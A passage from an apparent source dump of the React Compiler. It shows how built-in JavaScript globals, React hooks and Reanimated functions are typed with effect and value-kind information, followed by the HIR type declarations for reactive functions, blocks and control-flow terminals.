addFunction(DEFAULT_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.Read,\n      returnType: {kind: 'Primitive'},\n      calleeEffect: Effect.Read,\n      returnValueKind: ValueKind.Primitive,\n    }),\n  ],\n  [\n    'isFinite',\n    addFunction(DEFAULT_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.Read,\n      returnType: {kind: 'Primitive'},\n      calleeEffect: Effect.Read,\n      returnValueKind: ValueKind.Primitive,\n    }),\n  ],\n  [\n    'encodeURI',\n    addFunction(DEFAULT_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.Read,\n      returnType: {kind: 'Primitive'},\n      calleeEffect: Effect.Read,\n      returnValueKind: ValueKind.Primitive,\n    }),\n  ],\n  [\n    'encodeURIComponent',\n    addFunction(DEFAULT_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.Read,\n      returnType: {kind: 'Primitive'},\n      calleeEffect: Effect.Read,\n      returnValueKind: ValueKind.Primitive,\n    }),\n  ],\n  [\n    'decodeURI',\n    addFunction(DEFAULT_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.Read,\n      returnType: {kind: 'Primitive'},\n      calleeEffect: Effect.Read,\n      returnValueKind: ValueKind.Primitive,\n    }),\n  ],\n  [\n    'decodeURIComponent',\n    addFunction(DEFAULT_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.Read,\n      returnType: {kind: 'Primitive'},\n      calleeEffect: Effect.Read,\n      returnValueKind: ValueKind.Primitive,\n    }),\n  ],\n  [\n    'Map',\n    addFunction(\n      DEFAULT_SHAPES,\n      [],\n      {\n        positionalParams: [Effect.ConditionallyMutateIterator],\n        restParam: null,\n        returnType: {kind: 'Object', shapeId: BuiltInMapId},\n        calleeEffect: Effect.Read,\n        returnValueKind: ValueKind.Mutable,\n      },\n      null,\n      true,\n    ),\n  ],\n  [\n    'Set',\n    addFunction(\n      DEFAULT_SHAPES,\n      [],\n      {\n        positionalParams: [Effect.ConditionallyMutateIterator],\n        restParam: null,\n        returnType: {kind: 'Object', shapeId: BuiltInSetId},\n        calleeEffect: Effect.Read,\n        returnValueKind: ValueKind.Mutable,\n      },\n      null,\n      true,\n    ),\n  ],\n  [\n    'WeakMap',\n    addFunction(\n      DEFAULT_SHAPES,\n      [],\n      {\n        positionalParams: [Effect.ConditionallyMutateIterator],\n        restParam: null,\n        returnType: {kind: 'Object', shapeId: BuiltInWeakMapId},\n        calleeEffect: Effect.Read,\n        returnValueKind: ValueKind.Mutable,\n      },\n      null,\n      true,\n    ),\n  ],\n  [\n    'WeakSet',\n    addFunction(\n      DEFAULT_SHAPES,\n      [],\n      {\n        positionalParams: [Effect.ConditionallyMutateIterator],\n        restParam: null,\n        returnType: {kind: 'Object', shapeId: BuiltInWeakSetId},\n        calleeEffect: Effect.Read,\n        returnValueKind: ValueKind.Mutable,\n      },\n      null,\n      true,\n    ),\n  ],\n  // TODO: rest of Global objects\n];\n\n/*\n * TODO(mofeiZ): We currently only store rest param effects for hooks.\n * now that FeatureFlag `enableTreatHooksAsFunctions` is removed we can\n * use positional params too (?)\n */\nconst REACT_APIS: Array<[string, BuiltInType]> = [\n  [\n    'useContext',\n    addHook(\n      DEFAULT_SHAPES,\n      {\n        positionalParams: [],\n        restParam: Effect.Read,\n        returnType: {kind: 'Poly'},\n        calleeEffect: Effect.Read,\n        hookKind: 'useContext',\n        returnValueKind: ValueKind.Frozen,\n        returnValueReason: ValueReason.Context,\n      },\n      BuiltInUseContextHookId,\n    ),\n  ],\n  [\n    'useState',\n    addHook(DEFAULT_SHAPES, {\n      positionalParams: [],\n      restParam: Effect.Freeze,\n      returnType: {kind: 'Object', shapeId: BuiltInUseStateId},\n      calleeEffect: Effect.Read,\n      hookKind: 'useState',\n      returnValueKind: ValueKind.Frozen,\n      returnValueReason: ValueReason.State,\n    }),\n  ],\n  [\n    'useActionState',\n    addHook(DEFAULT_SHAPES, {\n      positionalParams: [],\n      restParam: Effect.Freeze,\n      returnType: {kind: 'Object', shapeId: BuiltInUseActionStateId},\n      calleeEffect: Effect.Read,\n      hookKind: 'useActionState',\n      returnValueKind: ValueKind.Frozen,\n      returnValueReason: ValueReason.State,\n    }),\n  ],\n  [\n    'useReducer',\n    addHook(DEFAULT_SHAPES, {\n      positionalParams: [],\n      restParam: Effect.Freeze,\n      returnType: {kind: 'Object', shapeId: BuiltInUseReducerId},\n      calleeEffect: Effect.Read,\n      hookKind: 'useReducer',\n      returnValueKind: ValueKind.Frozen,\n      returnValueReason: ValueReason.ReducerState,\n    }),\n  ],\n  [\n    'useRef',\n    addHook(DEFAULT_SHAPES, {\n      positionalParams: [],\n      restParam: Effect.Capture,\n      returnType: {kind: 'Object', shapeId: BuiltInUseRefId},\n      calleeEffect: Effect.Read,\n      hookKind: 'useRef',\n      returnValueKind: ValueKind.Mutable,\n    }),\n  ],\n  [\n    'useImperativeHandle',\n    addHook(DEFAULT_SHAPES, {\n      positionalParams: [],\n      restParam: Effect.Freeze,\n      returnType: {kind: 'Primitive'},\n      calleeEffect: Effect.Read,\n      hookKind: 'useImperativeHandle',\n      returnValueKind: ValueKind.Frozen,\n    }),\n  ],\n  [\n    'useMemo',\n    addHook(DEFAULT_SHAPES, {\n      positionalParams: [],\n      restParam: Effect.Freeze,\n      returnType: {kind: 'Poly'},\n      calleeEffect: Effect.Read,\n      hookKind: 'useMemo',\n      returnValueKind: ValueKind.Frozen,\n    }),\n  ],\n  [\n    'useCallback',\n    addHook(DEFAULT_SHAPES, {\n      positionalParams: [],\n      restParam: Effect.Freeze,\n      returnType: {kind: 'Poly'},\n      calleeEffect: Effect.Read,\n      hookKind: 'useCallback',\n      returnValueKind: ValueKind.Frozen,\n    }),\n  ],\n  [\n    'useEffect',\n    addHook(\n      DEFAULT_SHAPES,\n      {\n        positionalParams: [],\n        restParam: Effect.Freeze,\n        returnType: {kind: 'Primitive'},\n        calleeEffect: Effect.Read,\n        hookKind: 'useEffect',\n        returnValueKind: ValueKind.Frozen,\n        aliasing: {\n          receiver: '@receiver',\n          params: [],\n          rest: '@rest',\n          returns: '@returns',\n          temporaries: ['@effect'],\n          effects: [\n            // Freezes the function and deps\n            {\n              kind: 'Freeze',\n              value: '@rest',\n              reason: ValueReason.Effect,\n            },\n            // Internally creates an effect object that captures the function and deps\n            {\n              kind: 'Create',\n              into: '@effect',\n              value: ValueKind.Frozen,\n              reason: ValueReason.KnownReturnSignature,\n            },\n            // The effect stores the function and dependencies\n            {\n              kind: 'Capture',\n              from: '@rest',\n              into: '@effect',\n            },\n            // Returns undefined\n            {\n              kind: 'Create',\n              into: '@returns',\n              value: ValueKind.Primitive,\n              reason: ValueReason.KnownReturnSignature,\n            },\n          ],\n        },\n      },\n      BuiltInUseEffectHookId,\n    ),\n  ],\n  [\n    'useLayoutEffect',\n    addHook(\n      DEFAULT_SHAPES,\n      {\n        positionalParams: [],\n        restParam: Effect.Freeze,\n        returnType: {kind: 'Poly'},\n        calleeEffect: Effect.Read,\n        hookKind: 'useLayoutEffect',\n        returnValueKind: ValueKind.Frozen,\n      },\n      BuiltInUseLayoutEffectHookId,\n    ),\n  ],\n  [\n    'useInsertionEffect',\n    addHook(\n      DEFAULT_SHAPES,\n      {\n        positionalParams: [],\n        restParam: Effect.Freeze,\n        returnType: {kind: 'Poly'},\n        calleeEffect: Effect.Read,\n        hookKind: 'useInsertionEffect',\n        returnValueKind: ValueKind.Frozen,\n      },\n      BuiltInUseInsertionEffectHookId,\n    ),\n  ],\n  [\n    'useTransition',\n    addHook(DEFAULT_SHAPES, {\n      positionalParams: [],\n      restParam: null,\n      returnType: {kind: 'Object', shapeId: BuiltInUseTransitionId},\n      calleeEffect: Effect.Read,\n      hookKind: 'useTransition',\n      returnValueKind: ValueKind.Frozen,\n    }),\n  ],\n  [\n    'useOptimistic',\n    addHook(DEFAULT_SHAPES, {\n      positionalParams: [],\n      restParam: Effect.Freeze,\n      returnType: {kind: 'Object', shapeId: BuiltInUseOptimisticId},\n      calleeEffect: Effect.Read,\n      hookKind: 'useOptimistic',\n      returnValueKind: ValueKind.Frozen,\n      returnValueReason: ValueReason.State,\n    }),\n  ],\n  [\n    'use',\n    addFunction(\n      DEFAULT_SHAPES,\n      [],\n      {\n        positionalParams: [],\n        restParam: Effect.Freeze,\n        returnType: {kind: 'Poly'},\n        calleeEffect: Effect.Read,\n        returnValueKind: ValueKind.Frozen,\n      },\n      BuiltInUseOperatorId,\n    ),\n  ],\n  [\n    'useEffectEvent',\n    addHook(\n      DEFAULT_SHAPES,\n      {\n        positionalParams: [],\n        restParam: Effect.Freeze,\n        returnType: {\n          kind: 'Function',\n          return: {kind: 'Poly'},\n          shapeId: BuiltInEffectEventId,\n          isConstructor: false,\n        },\n        calleeEffect: Effect.Read,\n        hookKind: 'useEffectEvent',\n        // Frozen because it should not mutate any locally-bound values\n        returnValueKind: ValueKind.Frozen,\n      },\n      BuiltInUseEffectEventId,\n    ),\n  ],\n];\n\nTYPED_GLOBALS.push(\n  [\n    'React',\n    addObject(DEFAULT_SHAPES, null, [\n      ...REACT_APIS,\n      [\n        'createElement',\n        addFunction(DEFAULT_SHAPES, [], {\n          positionalParams: [],\n          restParam: Effect.Freeze,\n          returnType: {kind: 'Poly'},\n          calleeEffect: Effect.Read,\n          returnValueKind: ValueKind.Frozen,\n        }),\n      ],\n      [\n        'cloneElement',\n        addFunction(DEFAULT_SHAPES, [], {\n          positionalParams: [],\n          restParam: Effect.Freeze,\n          returnType: {kind: 'Poly'},\n          calleeEffect: Effect.Read,\n          returnValueKind: ValueKind.Frozen,\n        }),\n      ],\n      [\n        'createRef',\n        addFunction(DEFAULT_SHAPES, [], {\n          positionalParams: [],\n          restParam: Effect.Capture, // createRef takes no paramters\n          returnType: {kind: 'Object', shapeId: BuiltInUseRefId},\n          calleeEffect: Effect.Read,\n          returnValueKind: ValueKind.Mutable,\n        }),\n      ],\n    ]),\n  ],\n  [\n    '_jsx',\n    addFunction(DEFAULT_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.Freeze,\n      returnType: {kind: 'Poly'},\n      calleeEffect: Effect.Read,\n      returnValueKind: ValueKind.Frozen,\n    }),\n  ],\n);\n\nexport type Global = BuiltInType | PolyType;\nexport type GlobalRegistry = Map<string, Global>;\nexport const DEFAULT_GLOBALS: GlobalRegistry = new Map(REACT_APIS);\n\n// Hack until we add ObjectShapes for all globals\nfor (const name of UNTYPED_GLOBALS) {\n  DEFAULT_GLOBALS.set(name, {\n    kind: 'Poly',\n  });\n}\n\nfor (const [name, type_] of TYPED_GLOBALS) {\n  DEFAULT_GLOBALS.set(name, type_);\n}\n\n// Recursive global types\nDEFAULT_GLOBALS.set(\n  'globalThis',\n  addObject(DEFAULT_SHAPES, 'globalThis', TYPED_GLOBALS),\n);\nDEFAULT_GLOBALS.set(\n  'global',\n  addObject(DEFAULT_SHAPES, 'global', TYPED_GLOBALS),\n);\n\nexport function installTypeConfig(\n  globals: GlobalRegistry,\n  shapes: ShapeRegistry,\n  typeConfig: TypeConfig,\n  moduleName: string,\n  loc: SourceLocation,\n): Global {\n  switch (typeConfig.kind) {\n    case 'type': {\n      switch (typeConfig.name) {\n        case 'Array': {\n          return {kind: 'Object', shapeId: BuiltInArrayId};\n        }\n        case 'MixedReadonly': {\n          return {kind: 'Object', shapeId: BuiltInMixedReadonlyId};\n        }\n        case 'Primitive': {\n          return {kind: 'Primitive'};\n        }\n        case 'Ref': {\n          return {kind: 'Object', shapeId: BuiltInUseRefId};\n        }\n        case 'Any': {\n          return {kind: 'Poly'};\n        }\n        default: {\n          assertExhaustive(\n            typeConfig.name,\n            `Unexpected type '${(typeConfig as any).name}'`,\n          );\n        }\n      }\n    }\n    case 'function': {\n      return addFunction(shapes, [], {\n        positionalParams: typeConfig.positionalParams,\n        restParam: typeConfig.restParam,\n        calleeEffect: typeConfig.calleeEffect,\n        returnType: installTypeConfig(\n          globals,\n          shapes,\n          typeConfig.returnType,\n          moduleName,\n          loc,\n        ),\n        returnValueKind: typeConfig.returnValueKind,\n        noAlias: typeConfig.noAlias === true,\n        mutableOnlyIfOperandsAreMutable:\n          typeConfig.mutableOnlyIfOperandsAreMutable === true,\n        aliasing: typeConfig.aliasing,\n        knownIncompatible: typeConfig.knownIncompatible ?? null,\n      });\n    }\n    case 'hook': {\n      return addHook(shapes, {\n        hookKind: 'Custom',\n        positionalParams: typeConfig.positionalParams ?? [],\n        restParam: typeConfig.restParam ?? Effect.Freeze,\n        calleeEffect: Effect.Read,\n        returnType: installTypeConfig(\n          globals,\n          shapes,\n          typeConfig.returnType,\n          moduleName,\n          loc,\n        ),\n        returnValueKind: typeConfig.returnValueKind ?? ValueKind.Frozen,\n        noAlias: typeConfig.noAlias === true,\n        aliasing: typeConfig.aliasing,\n        knownIncompatible: typeConfig.knownIncompatible ?? null,\n      });\n    }\n    case 'object': {\n      return addObject(\n        shapes,\n        null,\n        Object.entries(typeConfig.properties ?? {}).map(([key, value]) => {\n          const type = installTypeConfig(\n            globals,\n            shapes,\n            value,\n            moduleName,\n            loc,\n          );\n          const expectHook = isHookName(key);\n          let isHook = false;\n          if (type.kind === 'Function' && type.shapeId !== null) {\n            const functionType = shapes.get(type.shapeId);\n            if (functionType?.functionType?.hookKind !== null) {\n              isHook = true;\n            }\n          }\n          if (expectHook !== isHook) {\n            CompilerError.throwInvalidConfig({\n              reason: `Invalid type configuration for module`,\n              description: `Expected type for object property '${key}' from module '${moduleName}' ${expectHook ? 'to be a hook' : 'not to be a hook'} based on the property name`,\n              loc,\n            });\n          }\n          return [key, type];\n        }),\n      );\n    }\n    default: {\n      assertExhaustive(\n        typeConfig,\n        `Unexpected type kind '${(typeConfig as any).kind}'`,\n      );\n    }\n  }\n}\n\nexport function getReanimatedModuleType(registry: ShapeRegistry): ObjectType {\n  // hooks that freeze args and return frozen value\n  const frozenHooks = [\n    'useFrameCallback',\n    'useAnimatedStyle',\n    'useAnimatedProps',\n    'useAnimatedScrollHandler',\n    'useAnimatedReaction',\n    'useWorkletCallback',\n  ];\n  const reanimatedType: Array<[string, BuiltInType]> = [];\n  for (const hook of frozenHooks) {\n    reanimatedType.push([\n      hook,\n      addHook(registry, {\n        positionalParams: [],\n        restParam: Effect.Freeze,\n        returnType: {kind: 'Poly'},\n        returnValueKind: ValueKind.Frozen,\n        noAlias: true,\n        calleeEffect: Effect.Read,\n        hookKind: 'Custom',\n      }),\n    ]);\n  }\n\n  /**\n   * hooks that return a mutable value. ideally these should be modelled as a\n   * ref, but this works for now.\n   */\n  const mutableHooks = ['useSharedValue', 'useDerivedValue'];\n  for (const hook of mutableHooks) {\n    reanimatedType.push([\n      hook,\n      addHook(registry, {\n        positionalParams: [],\n        restParam: Effect.Freeze,\n        returnType: {kind: 'Object', shapeId: ReanimatedSharedValueId},\n        returnValueKind: ValueKind.Mutable,\n        noAlias: true,\n        calleeEffect: Effect.Read,\n        hookKind: 'Custom',\n      }),\n    ]);\n  }\n\n  // functions that return mutable value\n  const funcs = [\n    'withTiming',\n    'withSpring',\n    'createAnimatedPropAdapter',\n    'withDecay',\n    'withRepeat',\n    'runOnUI',\n    'executeOnUIRuntimeSync',\n  ];\n  for (const fn of funcs) {\n    reanimatedType.push([\n      fn,\n      addFunction(registry, [], {\n        positionalParams: [],\n        restParam: Effect.Read,\n        returnType: {kind: 'Poly'},\n        calleeEffect: Effect.Read,\n        returnValueKind: ValueKind.Mutable,\n        noAlias: true,\n      }),\n    ]);\n  }\n\n  return addObject(registry, null, reanimatedType);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/HIR/HIR.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {BindingKind} from '@babel/traverse';\nimport * as t from '@babel/types';\nimport {\n  CompilerDiagnostic,\n  CompilerError,\n  ErrorCategory,\n} from '../CompilerError';\nimport {assertExhaustive} from '../Utils/utils';\nimport {Environment, ReactFunctionType} from './Environment';\nimport type {HookKind} from './ObjectShape';\nimport {Type, makeType} from './Types';\nimport {z} from 'zod/v4';\nimport type {AliasingEffect} from '../Inference/AliasingEffects';\nimport {isReservedWord} from '../Utils/Keyword';\nimport {Err, Ok, Result} from '../Utils/Result';\n\n/*\n * *******************************************************************************************\n * *******************************************************************************************\n * ************************************* Core Data Model *************************************\n * *******************************************************************************************\n * *******************************************************************************************\n */\n\n// AST -> (lowering) -> HIR -> (analysis) -> Reactive Scopes -> (codegen) -> AST\n\n/*\n * A location in a source file, intended to be used for providing diagnostic information and\n * transforming code while preserving source information (ie to emit source maps).\n *\n * `GeneratedSource` indicates that there is no single source location from which the code derives.\n */\nexport const GeneratedSource = Symbol();\nexport type SourceLocation = t.SourceLocation | typeof GeneratedSource;\n\n/*\n * A React function defines a computation that takes some set of reactive inputs\n * (props, hook arguments) and return a result (JSX, hook return value). Unlike\n * HIR, the data model is tree-shaped:\n *\n * ReactFunction\n *    ReactiveBlock\n *      ReactiveBlockScope*\n *       Place* (dependencies)\n *       (ReactiveInstruction | ReactiveTerminal)*\n *\n * Where ReactiveTerminal may recursively contain zero or more ReactiveBlocks.\n *\n * Each ReactiveBlockScope describes a set of dependencies as well as the instructions (and terminals)\n * within that scope.\n */\nexport type ReactiveFunction = {\n  loc: SourceLocation;\n  id: ValidIdentifierName | null;\n  nameHint: string | null;\n  params: Array<Place | SpreadPattern>;\n  generator: boolean;\n  async: boolean;\n  body: ReactiveBlock;\n  env: Environment;\n  directives: Array<string>;\n};\n\nexport type ReactiveScopeBlock = {\n  kind: 'scope';\n  scope: ReactiveScope;\n  instructions: ReactiveBlock;\n};\n\nexport type PrunedReactiveScopeBlock = {\n  kind: 'pruned-scope';\n  scope: ReactiveScope;\n  instructions: ReactiveBlock;\n};\n\nexport type ReactiveBlock = Array<ReactiveStatement>;\n\nexport type ReactiveStatement =\n  | ReactiveInstructionStatement\n  | ReactiveTerminalStatement\n  | ReactiveScopeBlock\n  | PrunedReactiveScopeBlock;\n\nexport type ReactiveInstructionStatement = {\n  kind: 'instruction';\n  instruction: ReactiveInstruction;\n};\n\nexport type ReactiveTerminalStatement<\n  Tterminal extends ReactiveTerminal = ReactiveTerminal,\n> = {\n  kind: 'terminal';\n  terminal: Tterminal;\n  label: {\n    id: BlockId;\n    implicit: boolean;\n  } | null;\n};\n\nexport type ReactiveInstruction = {\n  id: InstructionId;\n  lvalue: Place | null;\n  value: ReactiveValue;\n  effects?: Array<AliasingEffect> | null; // TODO make non-optional\n  loc: SourceLocation;\n};\n\nexport type ReactiveValue =\n  | InstructionValue\n  | ReactiveLogicalValue\n  | ReactiveSequenceValue\n  | ReactiveTernaryValue\n  | ReactiveOptionalCallValue;\n\nexport type ReactiveLogicalValue = {\n  kind: 'LogicalExpression';\n  operator: t.LogicalExpression['operator'];\n  left: ReactiveValue;\n  right: ReactiveValue;\n  loc: SourceLocation;\n};\n\nexport type ReactiveTernaryValue = {\n  kind: 'ConditionalExpression';\n  test: ReactiveValue;\n  consequent: ReactiveValue;\n  alternate: ReactiveValue;\n  loc: SourceLocation;\n};\n\nexport type ReactiveSequenceValue = {\n  kind: 'SequenceExpression';\n  instructions: Array<ReactiveInstruction>;\n  id: InstructionId;\n  value: ReactiveValue;\n  loc: SourceLocation;\n};\n\nexport type ReactiveOptionalCallValue = {\n  kind: 'OptionalExpression';\n  id: InstructionId;\n  value: ReactiveValue;\n  optional: boolean;\n  loc: SourceLocation;\n};\n\nexport type ReactiveTerminal =\n  | ReactiveBreakTerminal\n  | ReactiveContinueTerminal\n  | ReactiveReturnTerminal\n  | ReactiveThrowTerminal\n  | ReactiveSwitchTerminal\n  | ReactiveDoWhileTerminal\n  | ReactiveWhileTerminal\n  | ReactiveForTerminal\n  | ReactiveForOfTerminal\n  | ReactiveForInTerminal\n  | ReactiveIfTerminal\n  | ReactiveLabelTerminal\n  | ReactiveTryTerminal;\n\nfunction _staticInvariantReactiveTerminalHasLocation(\n  terminal: ReactiveTerminal,\n): SourceLocation {\n  // If this fails, it is because a variant of ReactiveTerminal is missing a .loc - add it!\n  return terminal.loc;\n}\n\nfunction _staticInvariantReactiveTerminalHasInstructionId(\n  terminal: ReactiveTerminal,\n): InstructionId {\n  // If this fails, it is because a variant of ReactiveTerminal is missing a .id - add it!\n  return terminal.id;\n}\n\nexport type ReactiveTerminalTargetKind = 'implicit' | 'labeled' | 'unlabeled';\nexport type ReactiveBreakTerminal = {\n  kind: 'break';\n  target: BlockId;\n  id: InstructionId;\n  targetKind: ReactiveTerminalTargetKind;\n  loc: SourceLocation;\n};\nexport type ReactiveContinueTerminal = {\n  kind: 'continue';\n  target: BlockId;\n  id: InstructionId;\n  targetKind: ReactiveTerminalTargetKind;\n  loc: SourceLocation;\n};\nexport type ReactiveReturnTerminal = {\n  kind: 'return';\n  value: Place;\n  id: InstructionId;\n  loc: SourceLocation;\n};\nexport type ReactiveThrowTerminal = {\n  kind: 'throw';\n  value: Place;\n  id: InstructionId;\n  loc: SourceLocation;\n};\nexport type ReactiveSwitchTerminal = {\n  kind: 'switch';\n  test: Place;\n  cases: Array<{\n    test: Place | null;\n    block: ReactiveBlock | void;\n  }>;\n  id: InstructionId;\n  loc: SourceLocation;\n};\nexport type ReactiveDoWhileTerminal = {\n  kind: 'do-while';\n  loop: ReactiveBlock;\n  test: ReactiveValue;\n  id: InstructionId;\n  loc: SourceLocation;\n};\nexport type ReactiveWhileTerminal = {\n  kind: 'while';\n  test: ReactiveValue;\n  loop: ReactiveBlock;\n  id: InstructionId;\n  loc: SourceLocation;\n};\nexport type ReactiveForTerminal = {\n  kind: 'for';\n  init: ReactiveValue;\n  test: ReactiveValue;\n  update: ReactiveValue | null;\n  loop: ReactiveBlock;\n  id: InstructionId;\n  loc: SourceLocation;\n};\nexport type ReactiveForOfTerminal = {\n  kind: 'for-of';\n  init: ReactiveValue;\n  test: ReactiveValue;\n  loop: ReactiveBlock;\n  id: InstructionId;\n  loc: SourceLocation;\n};\nexport type ReactiveForInTerminal = {\n  kind: 'for-in';\n  init: ReactiveValue;\n  loop: ReactiveBlock;\n  id: InstructionId;\n  loc: SourceLocation;\n};\nexport type ReactiveIfTerminal = {\n  kind: 'if';\n  test: Place;\n  consequent: ReactiveBlock;\n  alternate: ReactiveBlock | null;\n  id: InstructionId;\n  loc: SourceLocation;\n};\nexport type ReactiveLabelTerminal = {\n  kind: 'label';\n  block: ReactiveBlock;\n  id: InstructionId;\n  loc: SourceLocation;\n};\nexport type ReactiveTryTerminal = {\n  kind: 'try';\n  block: ReactiveBlock;\n  handlerBinding: Place | null;\n  handler: ReactiveBlock;\n  id: InstructionId;\n  loc: SourceLocation;\n};\n\n// A function lowered to HIR form, ie where its body is lowered to an HIR control-flow graph\nexport type HIRFunction = {\n  loc: SourceLocation;\n  id: ValidIdentifierName | null;\n  nameHint: string | null;\n  fnType: ReactFunctionType;\n  env: Environment;\n  params: Array<Place | SpreadPattern>;\n  returnTypeAnnotation: t.FlowType | t.TSType | null;\n  returns: Place;\n  context: Array<Place>;\n  body: HIR;\n  generator: boolean;\n  async: boolean;\n  directives: Array<string>;\n  aliasingEffects: Array<AliasingEffect> | null;\n};\n\n/*\n * Each reactive scope may have its own control-flow, so the instructions form\n * a control-flow graph. The graph comprises a set of basic blocks which reference\n * each other via terminal statements, as well as a reference to the entry block.\n */\nexport type HIR = {\n  entry: BlockId;\n\n  /*\n   * Basic blocks are stored as a map to aid certain operations that need to\n   * lookup blocks by their id. However, the order of the items in the map is\n   * reverse postorder, that is, barring cycles, predecessors appear before\n   * successors. This is designed to facilitate forward data flow analysis.\n   */\n  blocks: Map<BlockId, BasicBlock>;\n};\n\n/*\n * Each basic block within an instruction graph contains zero or more instructions\n * followed by a terminal node. Note that basic blocks always execute consecutively,\n * there can be no branching within a block other than for an exception. Exceptions\n * can occur pervasively and React runtime is responsible for resetting state when\n * an exception occurs, therefore the block model only represents explicit throw\n * statements and not implicit exceptions which may occur.\n */\nexport type BlockKind = 'block' | 'value' | 'loop' | 'sequence' | 'catch';\n\n/**\n * Returns true for \"block\" and \"catch\" block kinds which correspond to statements\n * in the source, including BlockStatement, CatchStatement.\n *\n * Inverse of isExpressionBlockKind()\n */\nexport function isStatementBlockKind(kind: BlockKind): boolean {\n  return kind === 'block' || kind === 'catch';\n}\n\n/**\n * Returns true for \"value\", \"loop\", and \"sequence\" block kinds which correspond to\n * expressions in the source, such as ConditionalExpression, LogicalExpression, loop\n * initializer/test/updaters, etc\n *\n * Inverse of isStatementBlockKind()\n */\nexport function isExpressionBlockKind(kind: BlockKind): boolean {\n  return !isStatementBlockKind(kind);\n}\n\nexport type BasicBlock = {\n  kind: BlockKind;\n  id: BlockId;\n  instructions: Array<Instruction>;\n  terminal: Terminal;\n  preds: Set<BlockId>;\n  phis: Set<Phi>;\n};\nexport type TBasicBlock<T extends Terminal> = BasicBlock & {terminal: T};\n\n/*\n * Terminal nodes generally represent statements that affect control flow, such as\n * for-of, if-else, return, etc.\n */\nexport type Terminal =\n  | UnsupportedTerminal\n  | UnreachableTerminal\n  | ThrowTerminal\n  | ReturnTerminal\n  | GotoTerminal\n  | IfTerminal\n  | BranchTerminal\n  | SwitchTerminal\n  | ForTerminal\n  | ForOfTerminal\n  | ForInTerminal\n  | DoWhileTerminal\n  | WhileTerminal\n  | LogicalTerminal\n  | TernaryTerminal\n  | OptionalTerminal\n  | LabelTerminal\n  | SequenceTerminal\n  | MaybeThrowTerminal\n  | TryTerminal\n  | ReactiveScopeTerminal\n  | PrunedScopeTerminal;\n\nexport type TerminalWithFallthrough = Terminal & {fallthrough: BlockId};\n\nfunction _staticInvariantTerminalHasLocation(\n  terminal: Terminal,\n): SourceLocation {\n  // If this fails, it is because a variant of Terminal is missing a .loc - add it!\n  return terminal.loc;\n}\n\nfunction _staticInvariantTerminalHasInstructionId(\n  terminal: Terminal,\n): InstructionId {\n  // If this fails, it is because a variant of Terminal is missing a .id - add it!\n  return terminal.id;\n}\n\nfunction _staticInvariantTerminalHasFallthrough(\n  terminal: Terminal,\n): BlockId | never | undefined {\n  // If this fails, it is because a variant of Terminal is missing a fallthrough annotation\n  return terminal.fallthrough;\n}\n\n/*\n * Terminal nodes allowed for a value block\n * A terminal that couldn't be lowered correctly.\n */\nexport type UnsupportedTerminal = {\n  kind: 'unsupported';\n  id: InstructionId;\n  loc: SourceLocation;\n  fallthrough?: never;\n};\n\n/**\n * Terminal for an unreachable block.\n * Unreachable blocks are emitted when all control flow paths of a if/switch/try block diverge\n * before reaching the fallthrough.\n */\nexport type UnreachableTerminal = {\n  kind: 'unreachable';\n  id: InstructionId;\n  loc: SourceLocation;\n  fallthrough?: never;\n};\n\nexport type ThrowTerminal = {\n  kind: 'throw';\n  value: Place;\n  id: InstructionId;\n  loc: SourceLocation;\n  fallthrough?: never;\n};\nexport type Case = {test: Place | null; block: BlockId};\n\nexport type ReturnVariant = 'Void' | 'Implicit' | 'Explicit';\nexport type ReturnTerminal = {\n  kind: 'return';\n  /**\n   * Void:\n   *   () => { ... }\n   *   function() { ... }\n   * Implicit (ArrowFunctionExpression only):\n   *   () => foo\n   * Explicit:\n   *   () => { return ... }\n   *   function () { return ... }\n   */\n  returnVariant: ReturnVariant;\n  loc: SourceLocation;\n  value: Place;\n  id: InstructionId;\n  fallthrough?: never;\n  effects: Array<AliasingEffect> | null;\n};\n\nexport type GotoTerminal = {\n  kind: 'goto';\n  block: BlockId;\n  variant: GotoVariant;\n  id: InstructionId;\n  loc: SourceLocation;\n  fallthrough?: never;\n};\n\nexport enum GotoVariant {\n  Break = 'Break',\n  Continue = 'Continue',\n  Try = 'Try',\n}\n\nexport type IfTerminal = {\n  kind: 'if';\n  test: Place;\n  consequent: BlockId;\n  alternate: BlockId;\n  fallthrough: BlockId;\n  id: InstructionId;\n  loc: SourceLocation;\n};\n\nexport type BranchTerminal = {\n  kind: 'branch';\n  test: Place;\n  consequent: BlockId;\n  alternate: BlockId;\n  id: InstructionId;\n  loc: SourceLocation;\n  fallthrough: BlockId;\n};\n\nexport type SwitchTerminal = {\n  kind: 'switch';\n  test: Place;\n  cases: Array<Case>;\n  fallthrough: BlockId;\n  id: InstructionId;\n  loc: SourceLocation;\n};\n\nexport type DoWhileTerminal = {\n  kind: 'do-while';\n  loop: BlockId;\n  test: BlockId;\n  fallthrough: BlockId;\n  id: InstructionId;\n  loc: SourceLocation;\n};\n\nexport type WhileTerminal = {\n  kind: 'while';\n  loc: SourceLocation;\n  test: BlockId;\n  loop: BlockId;\n  fallthrough: BlockId;\n  id: InstructionId;\n};\n\nexport type ForTerminal = {\n  kind: 'for';\n  loc: SourceLocation;\n  init: BlockId;\n  test: BlockId;\n  update: BlockId | null;\n  loop: BlockId;\n  fallthrough: BlockId;\n  id: InstructionId;\n};\n\nexport type ForOfTerminal = {\n  kind: 'for-of';\n  loc: SourceLocation;\n  init: BlockId;\n  test: BlockId;\n  loop: BlockId;\n  fallthrough: BlockId;\n  id: InstructionId;\n};\n\nexport type ForInTerminal = {\n  kind: 'for-in';\n  loc: SourceLocation;\n  init: BlockId;\n  loop: BlockId;\n  fallthrough: BlockId;\n  id: InstructionId;\n};\n\nexport type LogicalTerminal = {\n  kind: 'logical';\n  operator: t.LogicalExpression['operator'];\n  test: BlockId;\n  fallthrough: BlockId;\n  id: InstructionId;\n  loc: SourceLocation;\n};\n\nexport type TernaryTerminal = {\n  kind: 'ternary';\n  test: BlockId;\n  fallthrough: BlockId;\n  id: InstructionId;\n  loc: SourceLocation;\n};\n\nexport type LabelTerminal = {\n  kind: 'label';\n  block: BlockId;\n  fallthrough: BlockId;\n  